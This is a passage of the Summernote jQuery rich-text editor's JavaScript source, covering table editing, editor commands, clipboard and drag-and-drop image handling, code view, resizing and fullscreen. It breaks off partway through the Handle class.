TableResultAction.resultAction.AddCell: if (position === 'right') { $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>'); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; case TableResultAction.resultAction.SumSpanCount: if (position === 'right') { var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10); colspanNumber++; currentCell.baseCell.setAttribute('colSpan', colspanNumber); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; } } }; /* * Copy attributes from element. * * @param {object} Element to recover attributes. * @return {string} Copied string elements. */ Table.prototype.recoverAttributes = function (el) { var resultStr = ''; if (!el) { return resultStr; } var attrList = el.attributes || []; for (var i = 0; i < attrList.length; i++) { if (attrList[i].name.toLowerCase() === 'id') { continue; } if (attrList[i].specified) { resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\''; } } return resultStr; }; /** * Delete current row * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteRow = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var rowPos = row[0].rowIndex; var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } var baseCell = actions[actionIndex].baseCell; var virtualPosition = actions[actionIndex].virtualTable; var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1); var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0; switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.AddCell: var nextRow = row.next('tr')[0]; if (!nextRow) { continue; } var cloneRow = row[0].cells[cellPos]; if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber); nextRow.cells[cellPos].innerHTML = ''; } else if (rowspanNumber === 2) { nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].removeAttribute('rowSpan'); nextRow.cells[cellPos].innerHTML = ''; } } continue; case TableResultAction.resultAction.SubtractSpanCount: if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; baseCell.setAttribute('rowSpan', rowspanNumber); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (rowspanNumber === 2) { baseCell.removeAttribute('rowSpan'); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: // Do not need remove cell because row will be deleted. continue; } } row.remove(); }; /** * Delete current col * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteCol = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.SubtractSpanCount: var baseCell = actions[actionIndex].baseCell; var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1); if (hasColspan) { var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0; if (colspanNumber > 2) { colspanNumber--; baseCell.setAttribute('colSpan', colspanNumber); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (colspanNumber === 2) { baseCell.removeAttribute('colSpan'); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: dom.remove(actions[actionIndex].baseCell, true); continue; } } }; /** * create empty table element * * @param {Number} rowCount * @param {Number} colCount * @return {Node} */ Table.prototype.createTable = function (colCount, rowCount, options) { var tds = []; var tdHTML; for (var idxCol = 0; idxCol < colCount; idxCol++) { tds.push('<td>' + dom.blank + '</td>'); } tdHTML = tds.join(''); var trs = []; var trHTML; for (var idxRow = 0; idxRow < rowCount; idxRow++) { trs.push('<tr>' + tdHTML + '</tr>'); } trHTML = trs.join(''); var $table = $$1('<table>' + trHTML + '</table>'); if (options && options.tableClassName) { $table.addClass(options.tableClassName); } return $table[0]; }; /** * Delete current table * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteTable = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); $$1(cell).closest('table').remove(); }; return Table; }()); var KEY_BOGUS = 'bogus'; /** * @class Editor */ var Editor = /** @class */ (function () { function Editor(context) { var _this = this; this.context = context; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.editable = this.$editable[0]; this.lastRange = null; this.style = new Style(); this.table = new Table(); this.typing = new Typing(); this.bullet = new Bullet(); this.history = new History(this.$editable); this.context.memo('help.undo', this.lang.help.undo); this.context.memo('help.redo', this.lang.help.redo); this.context.memo('help.tab', this.lang.help.tab); this.context.memo('help.untab', this.lang.help.untab); this.context.memo('help.insertParagraph', this.lang.help.insertParagraph); this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList); this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList); this.context.memo('help.indent', this.lang.help.indent); this.context.memo('help.outdent', this.lang.help.outdent); this.context.memo('help.formatPara', this.lang.help.formatPara); this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule); this.context.memo('help.fontName', this.lang.help.fontName); // native commands(with execCommand), generate function for execCommand var commands = [ 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript', 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull', 'formatBlock', 'removeFormat', 'backColor' ]; for (var idx = 0, len = commands.length; idx < len; idx++) { this[commands[idx]] = (function (sCmd) { return function (value) { _this.beforeCommand(); document.execCommand(sCmd, false, value); _this.afterCommand(true); }; })(commands[idx]); this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]); } this.fontName = this.wrapCommand(function (value) { return _this.fontStyling('font-family', "\'" + value + "\'"); }); this.fontSize = this.wrapCommand(function (value) { return _this.fontStyling('font-size', value + 'px'); }); for (var idx = 1; idx <= 6; idx++) { this['formatH' + idx] = (function (idx) { return function () { _this.formatBlock('H' + idx); }; })(idx); this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]); } this.insertParagraph = this.wrapCommand(function () { _this.typing.insertParagraph(_this.editable); }); this.insertOrderedList = this.wrapCommand(function () { _this.bullet.insertOrderedList(_this.editable); }); this.insertUnorderedList = this.wrapCommand(function () { _this.bullet.insertUnorderedList(_this.editable); }); this.indent = this.wrapCommand(function () { _this.bullet.indent(_this.editable); }); this.outdent = this.wrapCommand(function () { _this.bullet.outdent(_this.editable); }); /** * insertNode * insert node * @param {Node} node */ this.insertNode = this.wrapCommand(function (node) { if (_this.isLimited($$1(node).text().length)) { return; } var rng = _this.createRange(); rng.insertNode(node); range.createFromNodeAfter(node).select(); }); /** * insert text * @param {String} text */ this.insertText = this.wrapCommand(function (text) { if (_this.isLimited(text.length)) { return; } var rng = _this.createRange(); var textNode = rng.insertNode(dom.createText(text)); range.create(textNode, dom.nodeLength(textNode)).select(); }); /** * paste HTML * @param {String} markup */ this.pasteHTML = this.wrapCommand(function (markup) { if (_this.isLimited(markup.length)) { return; } var contents = _this.createRange().pasteHTML(markup); range.createFromNodeAfter(lists.last(contents)).select(); }); /** * formatBlock * * @param {String} tagName */ this.formatBlock = this.wrapCommand(function (tagName, $target) { var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle; if (onApplyCustomStyle) { onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock); } else { _this.onFormatBlock(tagName, $target); } }); /** * insert horizontal rule */ this.insertHorizontalRule = this.wrapCommand(function () { var hrNode = _this.createRange().insertNode(dom.create('HR')); if (hrNode.nextSibling) { range.create(hrNode.nextSibling, 0).normalize().select(); } }); /** * lineHeight * @param {String} value */ this.lineHeight = this.wrapCommand(function (value) { _this.style.stylePara(_this.createRange(), { lineHeight: value }); }); /** * create link (command) * * @param {Object} linkInfo */ this.createLink = this.wrapCommand(function (linkInfo) { var linkUrl = linkInfo.url; var linkText = linkInfo.text; var isNewWindow = linkInfo.isNewWindow; var rng = linkInfo.range || _this.createRange(); var isTextChanged = rng.toString() !== linkText; // handle spaced urls from input if (typeof linkUrl === 'string') { linkUrl = linkUrl.trim(); } if (_this.options.onCreateLink) { linkUrl = _this.options.onCreateLink(linkUrl); } else { // if url doesn't match an URL schema, set http:// as default linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl) ? linkUrl : 'http://' + linkUrl; } var anchors = []; if (isTextChanged) { rng = rng.deleteContents(); var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]); anchors.push(anchor); } else { anchors = _this.style.styleNodes(rng, { nodeName: 'A', expandClosestSibling: true, onlyPartialContains: true }); } $$1.each(anchors, function (idx, anchor) { $$1(anchor).attr('href', linkUrl); if (isNewWindow) { $$1(anchor).attr('target', '_blank'); } else { $$1(anchor).removeAttr('target'); } }); var startRange = range.createFromNodeBefore(lists.head(anchors)); var startPoint = startRange.getStartPoint(); var endRange = range.createFromNodeAfter(lists.last(anchors)); var endPoint = endRange.getEndPoint(); range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select(); }); /** * setting color * * @param {Object} sObjColor color code * @param {String} sObjColor.foreColor foreground color * @param {String} sObjColor.backColor background color */ this.color = this.wrapCommand(function (colorInfo) { var foreColor = colorInfo.foreColor; var backColor = colorInfo.backColor; if (foreColor) { document.execCommand('foreColor', false, foreColor); } if (backColor) { document.execCommand('backColor', false, backColor); } }); /** * Set foreground color * * @param {String} colorCode foreground color code */ this.foreColor = this.wrapCommand(function (colorInfo) { document.execCommand('styleWithCSS', false, true); document.execCommand('foreColor', false, colorInfo); }); /** * insert Table * * @param {String} dimension of table (ex : "5x5") */ this.insertTable = this.wrapCommand(function (dim) { var dimension = dim.split('x'); var rng = _this.createRange().deleteContents(); rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options)); }); /** * remove media object and Figure Elements if media object is img with Figure. */ this.removeMedia = this.wrapCommand(function () { var $target = $$1(_this.restoreTarget()).parent(); if ($target.parent('figure').length) { $target.parent('figure').remove(); } else { $target = $$1(_this.restoreTarget()).detach(); } _this.context.triggerEvent('media.delete', $target, _this.$editable); }); /** * float me * * @param {String} value */ this.floatMe = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.toggleClass('note-float-left', value === 'left'); $target.toggleClass('note-float-right', value === 'right'); $target.css('float', value); }); /** * resize overlay element * @param {String} value */ this.resize = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.css({ width: value * 100 + '%', height: '' }); }); } Editor.prototype.initialize = function () { var _this = this; // bind custom events this.$editable.on('keydown', function (event) { if (event.keyCode === key.code.ENTER) { _this.context.triggerEvent('enter', event); } _this.context.triggerEvent('keydown', event); if (!event.isDefaultPrevented()) { if (_this.options.shortcuts) { _this.handleKeyMap(event); } else { _this.preventDefaultEditableShortCuts(event); } } if (_this.isLimited(1, event)) { return false; } }).on('keyup', function (event) { _this.context.triggerEvent('keyup', event); }).on('focus', function (event) { _this.context.triggerEvent('focus', event); }).on('blur', function (event) { _this.context.triggerEvent('blur', event); }).on('mousedown', function (event) { _this.context.triggerEvent('mousedown', event); }).on('mouseup', function (event) { _this.context.triggerEvent('mouseup', event); }).on('scroll', function (event) { _this.context.triggerEvent('scroll', event); }).on('paste', function (event) { _this.context.triggerEvent('paste', event); }); // init content before set event this.$editable.html(dom.html(this.$note) || dom.emptyPara); this.$editable.on(env.inputEventName, func.debounce(function () { _this.context.triggerEvent('change', _this.$editable.html()); }, 100)); this.$editor.on('focusin', function (event) { _this.context.triggerEvent('focusin', event); }).on('focusout', function (event) { _this.context.triggerEvent('focusout', event); }); if (!this.options.airMode) { if (this.options.width) { this.$editor.outerWidth(this.options.width); } if (this.options.height) { this.$editable.outerHeight(this.options.height); } if (this.options.maxHeight) { this.$editable.css('max-height', this.options.maxHeight); } if (this.options.minHeight) { this.$editable.css('min-height', this.options.minHeight); } } this.history.recordUndo(); }; Editor.prototype.destroy = function () { this.$editable.off(); }; Editor.prototype.handleKeyMap = function (event) { var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; var keys = []; if (event.metaKey) { keys.push('CMD'); } if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); } if (event.shiftKey) { keys.push('SHIFT'); } var keyName = key.nameFromCode[event.keyCode]; if (keyName) { keys.push(keyName); } var eventName = keyMap[keys.join('+')]; if (eventName) { if (this.context.invoke(eventName) !== false) { event.preventDefault(); } } else if (key.isEdit(event.keyCode)) { this.afterCommand(); } }; Editor.prototype.preventDefaultEditableShortCuts = function (event) { // B(Bold, 66) / I(Italic, 73) / U(Underline, 85) if ((event.ctrlKey || event.metaKey) && lists.contains([66, 73, 85], event.keyCode)) { event.preventDefault(); } }; Editor.prototype.isLimited = function (pad, event) { pad = pad || 0; if (typeof event !== 'undefined') { if (key.isMove(event.keyCode) || (event.ctrlKey || event.metaKey) || lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) { return false; } } if (this.options.maxTextLength > 0) { if ((this.$editable.text().length + pad) >= this.options.maxTextLength) { return true; } } return false; }; /** * create range * @return {WrappedRange} */ Editor.prototype.createRange = function () { this.focus(); return range.create(this.editable); }; /** * saveRange * * save current range * * @param {Boolean} [thenCollapse=false] */ Editor.prototype.saveRange = function (thenCollapse) { this.lastRange = this.createRange(); if (thenCollapse) { this.lastRange.collapse().select(); } }; /** * restoreRange * * restore lately range */ Editor.prototype.restoreRange = function () { if (this.lastRange) { this.lastRange.select(); this.focus(); } }; Editor.prototype.saveTarget = function (node) { this.$editable.data('target', node); }; Editor.prototype.clearTarget = function () { this.$editable.removeData('target'); }; Editor.prototype.restoreTarget = function () { return this.$editable.data('target'); }; /** * currentStyle * * current style * @return {Object|Boolean} unfocus */ Editor.prototype.currentStyle = function () { var rng = range.create(); if (rng) { rng = rng.normalize(); } return rng ? this.style.current(rng) : this.style.fromNode(this.$editable); }; /** * style from node * * @param {jQuery} $node * @return {Object} */ Editor.prototype.styleFromNode = function ($node) { return this.style.fromNode($node); }; /** * undo */ Editor.prototype.undo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.undo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * redo */ Editor.prototype.redo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.redo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * before command */ Editor.prototype.beforeCommand = function () { this.context.triggerEvent('before.command', this.$editable.html()); // keep focus on editable before command execution this.focus(); }; /** * after command * @param {Boolean} isPreventTrigger */ Editor.prototype.afterCommand = function (isPreventTrigger) { this.normalizeContent(); this.history.recordUndo(); if (!isPreventTrigger) { this.context.triggerEvent('change', this.$editable.html()); } }; /** * handle tab key */ Editor.prototype.tab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng); } else { if (this.options.tabSize === 0) { return false; } if (!this.isLimited(this.options.tabSize)) { this.beforeCommand(); this.typing.insertTab(rng, this.options.tabSize); this.afterCommand(); } } }; /** * handle shift+tab key */ Editor.prototype.untab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng, true); } else { if (this.options.tabSize === 0) { return false; } } }; /** * run given function between beforeCommand and afterCommand */ Editor.prototype.wrapCommand = function (fn) { var _this = this; return function () { _this.beforeCommand(); fn.apply(_this, arguments); _this.afterCommand(); }; }; /** * insert image * * @param {String} src * @param {String|Function} param * @return {Promise} */ Editor.prototype.insertImage = function (src, param) { var _this = this; return createImage(src, param).then(function ($image) { _this.beforeCommand(); if (typeof param === 'function') { param($image); } else { if (typeof param === 'string') { $image.attr('data-filename', param); } $image.css('width', Math.min(_this.$editable.width(), $image.width())); } $image.show(); range.create(_this.editable).insertNode($image[0]); range.createFromNodeAfter($image[0]).select(); _this.afterCommand(); }).fail(function (e) { _this.context.triggerEvent('image.upload.error', e); }); }; /** * insertImages * @param {File[]} files */ Editor.prototype.insertImages = function (files) { var _this = this; $$1.each(files, function (idx, file) { var filename = file.name; if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) { _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError); } else { readFileAsDataURL(file).then(function (dataURL) { return _this.insertImage(dataURL, filename); }).fail(function () { _this.context.triggerEvent('image.upload.error'); }); } }); }; /** * insertImagesOrCallback * @param {File[]} files */ Editor.prototype.insertImagesOrCallback = function (files) { var callbacks = this.options.callbacks; // If onImageUpload this.options setted if (callbacks.onImageUpload) { this.context.triggerEvent('image.upload', files); // else insert Image as dataURL } else { this.insertImages(files); } }; /** * return selected plain text * @return {String} text */ Editor.prototype.getSelectedText = function () { var rng = this.createRange(); // if range on anchor, expand range with anchor if (rng.isOnAnchor()) { rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor)); } return rng.toString(); }; Editor.prototype.onFormatBlock = function (tagName, $target) { // [workaround] for MSIE, IE need `<` tagName = env.isMSIE ? '<' + tagName + '>' : tagName; document.execCommand('FormatBlock', false, tagName); // support custom class if ($target && $target.length) { var className = $target[0].className || ''; if (className) { var currentRange = this.createRange(); var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName); $parent.addClass(className); } } }; Editor.prototype.formatPara = function () { this.formatBlock('P'); }; Editor.prototype.fontStyling = function (target, value) { var rng = this.createRange(); if (rng) { var spans = this.style.styleNodes(rng); $$1(spans).css(target, value); // [workaround] added styled bogus span for style // - also bogus character needed for cursor position if (rng.isCollapsed()) { var firstSpan = lists.head(spans); if (firstSpan && !dom.nodeLength(firstSpan)) { firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR; range.createFromNodeAfter(firstSpan.firstChild).select(); this.$editable.data(KEY_BOGUS, firstSpan); } } } }; /** * unlink * * @type command */ Editor.prototype.unlink = function () { var rng = this.createRange(); if (rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); rng = range.createFromNode(anchor); rng.select(); this.beforeCommand(); document.execCommand('unlink'); this.afterCommand(); } }; /** * returns link info * * @return {Object} * @return {WrappedRange} return.range * @return {String} return.text * @return {Boolean} [return.isNewWindow=true] * @return {String} [return.url=""] */ Editor.prototype.getLinkInfo = function () { var rng = this.createRange().expand(dom.isAnchor); // Get the first anchor on range(for edit). var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor))); var linkInfo = { range: rng, text: rng.toString(), url: $anchor.length ? $anchor.attr('href') : '' }; // Define isNewWindow when anchor exists. if ($anchor.length) { linkInfo.isNewWindow = $anchor.attr('target') === '_blank'; } return linkInfo; }; Editor.prototype.addRow = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addRow(rng, position); this.afterCommand(); } }; Editor.prototype.addCol = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addCol(rng, position); this.afterCommand(); } }; Editor.prototype.deleteRow = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteRow(rng); this.afterCommand(); } }; Editor.prototype.deleteCol = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteCol(rng); this.afterCommand(); } }; Editor.prototype.deleteTable = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteTable(rng); this.afterCommand(); } }; /** * @param {Position} pos * @param {jQuery} $target - target element * @param {Boolean} [bKeepRatio] - keep ratio */ Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) { var imageSize; if (bKeepRatio) { var newRatio = pos.y / pos.x; var ratio = $target.data('ratio'); imageSize = { width: ratio > newRatio ? pos.x : pos.y / ratio, height: ratio > newRatio ? pos.x * ratio : pos.y }; } else { imageSize = { width: pos.x, height: pos.y }; } $target.css(imageSize); }; /** * returns whether editable area has focus or not. */ Editor.prototype.hasFocus = function () { return this.$editable.is(':focus'); }; /** * set focus */ Editor.prototype.focus = function () { // [workaround] Screen will move when page is scolled in IE. // - do focus when not focused if (!this.hasFocus()) { this.$editable.focus(); } }; /** * returns whether contents is empty or not. * @return {Boolean} */ Editor.prototype.isEmpty = function () { return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html(); }; /** * Removes all contents and restores the editable instance to an _emptyPara_. */ Editor.prototype.empty = function () { this.context.invoke('code', dom.emptyPara); }; /** * normalize content */ Editor.prototype.normalizeContent = function () { this.$editable[0].normalize(); }; return Editor; }()); var Clipboard = /** @class */ (function () { function Clipboard(context) { this.context = context; this.$editable = context.layoutInfo.editable; } Clipboard.prototype.initialize = function () { this.$editable.on('paste', this.pasteByEvent.bind(this)); }; /** * paste by clipboard event * * @param {Event} event */ Clipboard.prototype.pasteByEvent = function (event) { var clipboardData = event.originalEvent.clipboardData; if (clipboardData && clipboardData.items && clipboardData.items.length) { var item = lists.head(clipboardData.items); if (item.kind === 'file' && item.type.indexOf('image/') !== -1) { this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]); } this.context.invoke('editor.afterCommand'); } }; return Clipboard; }()); var Dropzone = /** @class */ (function () { function Dropzone(context) { this.context = context; this.$eventListener = $$1(document); this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.documentEventHandlers = {}; this.$dropzone = $$1([ '<div class="note-dropzone">', ' <div class="note-dropzone-message"/>', '</div>' ].join('')).prependTo(this.$editor); } /** * attach Drag and Drop Events */ Dropzone.prototype.initialize = function () { if (this.options.disableDragAndDrop) { // prevent default drop event this.documentEventHandlers.onDrop = function (e) { e.preventDefault(); }; // do not consider outside of dropzone this.$eventListener = this.$dropzone; this.$eventListener.on('drop', this.documentEventHandlers.onDrop); } else { this.attachDragAndDropEvent(); } }; /** * attach Drag and Drop Events */ Dropzone.prototype.attachDragAndDropEvent = function () { var _this = this; var collection = $$1(); var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message'); this.documentEventHandlers.onDragenter = function (e) { var isCodeview = _this.context.invoke('codeview.isActivated'); var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0; if (!isCodeview && !collection.length && hasEditorSize) { _this.$editor.addClass('dragover'); _this.$dropzone.width(_this.$editor.width()); _this.$dropzone.height(_this.$editor.height()); $dropzoneMessage.text(_this.lang.image.dragImageHere); } collection = collection.add(e.target); }; this.documentEventHandlers.onDragleave = function (e) { collection = collection.not(e.target); if (!collection.length) { _this.$editor.removeClass('dragover'); } }; this.documentEventHandlers.onDrop = function () { collection = $$1(); _this.$editor.removeClass('dragover'); }; // show dropzone on dragenter when dragging a object to document // -but only if the editor is visible, i.e. has a positive width and height this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter) .on('dragleave', this.documentEventHandlers.onDragleave) .on('drop', this.documentEventHandlers.onDrop); // change dropzone's message on hover. this.$dropzone.on('dragenter', function () { _this.$dropzone.addClass('hover'); $dropzoneMessage.text(_this.lang.image.dropImage); }).on('dragleave', function () { _this.$dropzone.removeClass('hover'); $dropzoneMessage.text(_this.lang.image.dragImageHere); }); // attach dropImage this.$dropzone.on('drop', function (event) { var dataTransfer = event.originalEvent.dataTransfer; // stop the browser from opening the dropped content event.preventDefault(); if (dataTransfer && dataTransfer.files && dataTransfer.files.length) { _this.$editable.focus(); _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files); } else { $$1.each(dataTransfer.types, function (idx, type) { var content = dataTransfer.getData(type); if (type.toLowerCase().indexOf('text') > -1) { _this.context.invoke('editor.pasteHTML', content); } else { $$1(content).each(function (idx, item) { _this.context.invoke('editor.insertNode', item); }); } }); } }).on('dragover', false); // prevent default dragover event }; Dropzone.prototype.destroy = function () { var _this = this; Object.keys(this.documentEventHandlers).forEach(function (key) { _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]); }); this.documentEventHandlers = {}; }; return Dropzone; }()); var CodeMirror; if (env.hasCodeMirror) { if (env.isSupportAmd) { require(['codemirror'], function (cm) { CodeMirror = cm; }); } else { CodeMirror = window.CodeMirror; } } /** * @class Codeview */ var CodeView = /** @class */ (function () { function CodeView(context) { this.context = context; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.options = context.options; } CodeView.prototype.sync = function () { var isCodeview = this.isActivated(); if (isCodeview && env.hasCodeMirror) { this.$codable.data('cmEditor').save(); } }; /** * @return {Boolean} */ CodeView.prototype.isActivated = function () { return this.$editor.hasClass('codeview'); }; /** * toggle codeview */ CodeView.prototype.toggle = function () { if (this.isActivated()) { this.deactivate(); } else { this.activate(); } this.context.triggerEvent('codeview.toggled'); }; /** * activate code view */ CodeView.prototype.activate = function () { var _this = this; this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml)); this.$codable.height(this.$editable.height()); this.context.invoke('toolbar.updateCodeview', true); this.$editor.addClass('codeview'); this.$codable.focus(); // activate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror); // CodeMirror TernServer if (this.options.codemirror.tern) { var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern); cmEditor_1.ternServer = server_1; cmEditor_1.on('cursorActivity', function (cm) { server_1.updateArgHints(cm); }); } cmEditor_1.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event); }); // CodeMirror hasn't Padding. cmEditor_1.setSize(null, this.$editable.outerHeight()); this.$codable.data('cmEditor', cmEditor_1); } else { this.$codable.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event); }); } }; /** * deactivate code view */ CodeView.prototype.deactivate = function () { // deactivate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor = this.$codable.data('cmEditor'); this.$codable.val(cmEditor.getValue()); cmEditor.toTextArea(); } var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara; var isChange = this.$editable.html() !== value; this.$editable.html(value); this.$editable.height(this.options.height ? this.$codable.height() : 'auto'); this.$editor.removeClass('codeview'); if (isChange) { this.context.triggerEvent('change', this.$editable.html(), this.$editable); } this.$editable.focus(); this.context.invoke('toolbar.updateCodeview', false); }; CodeView.prototype.destroy = function () { if (this.isActivated()) { this.deactivate(); } }; return CodeView; }()); var EDITABLE_PADDING = 24; var Statusbar = /** @class */ (function () { function Statusbar(context) { this.$document = $$1(document); this.$statusbar = context.layoutInfo.statusbar; this.$editable = context.layoutInfo.editable; this.options = context.options; } Statusbar.prototype.initialize = function () { var _this = this; if (this.options.airMode || this.options.disableResizeEditor) { this.destroy(); return; } this.$statusbar.on('mousedown', function (event) { event.preventDefault(); event.stopPropagation(); var editableTop = _this.$editable.offset().top - _this.$document.scrollTop(); var onMouseMove = function (event) { var height = event.clientY - (editableTop + EDITABLE_PADDING); height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height; height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height; _this.$editable.height(height); }; _this.$document.on('mousemove', onMouseMove).one('mouseup', function () { _this.$document.off('mousemove', onMouseMove); }); }); }; Statusbar.prototype.destroy = function () { this.$statusbar.off(); this.$statusbar.addClass('locked'); }; return Statusbar; }()); var Fullscreen = /** @class */ (function () { function Fullscreen(context) { var _this = this; this.context = context; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.$window = $$1(window); this.$scrollbar = $$1('html, body'); this.onResize = function () { _this.resizeTo({ h: _this.$window.height() - _this.$toolbar.outerHeight() }); }; } Fullscreen.prototype.resizeTo = function (size) { this.$editable.css('height', size.h); this.$codable.css('height', size.h); if (this.$codable.data('cmeditor')) { this.$codable.data('cmeditor').setsize(null, size.h); } }; /** * toggle fullscreen */ Fullscreen.prototype.toggle = function () { this.$editor.toggleClass('fullscreen'); if (this.isFullscreen()) { this.$editable.data('orgHeight', this.$editable.css('height')); this.$window.on('resize', this.onResize).trigger('resize'); this.$scrollbar.css('overflow', 'hidden'); } else { this.$window.off('resize', this.onResize); this.resizeTo({ h: this.$editable.data('orgHeight') }); this.$scrollbar.css('overflow', 'visible'); } this.context.invoke('toolbar.updateFullscreen', this.isFullscreen()); }; Fullscreen.prototype.isFullscreen = function () { return this.$editor.hasClass('fullscreen'); }; return Fullscreen; }()); var Handle = /** @class */ (function () { function Handle(context) { var _this = this; this.context = context; this.$document = $$1(document); this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.lang = this.options.langInfo; this.events = { 'summernote.mousedown': function (we, e) { if (_this.update(e.target)) { e.preventDefault(); } }, 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Handle.prototype.initialize = function () { var _this = this; this.$handle = $$1([ '<div class="note-handle">', '<div class="note-control-selection">', '<div 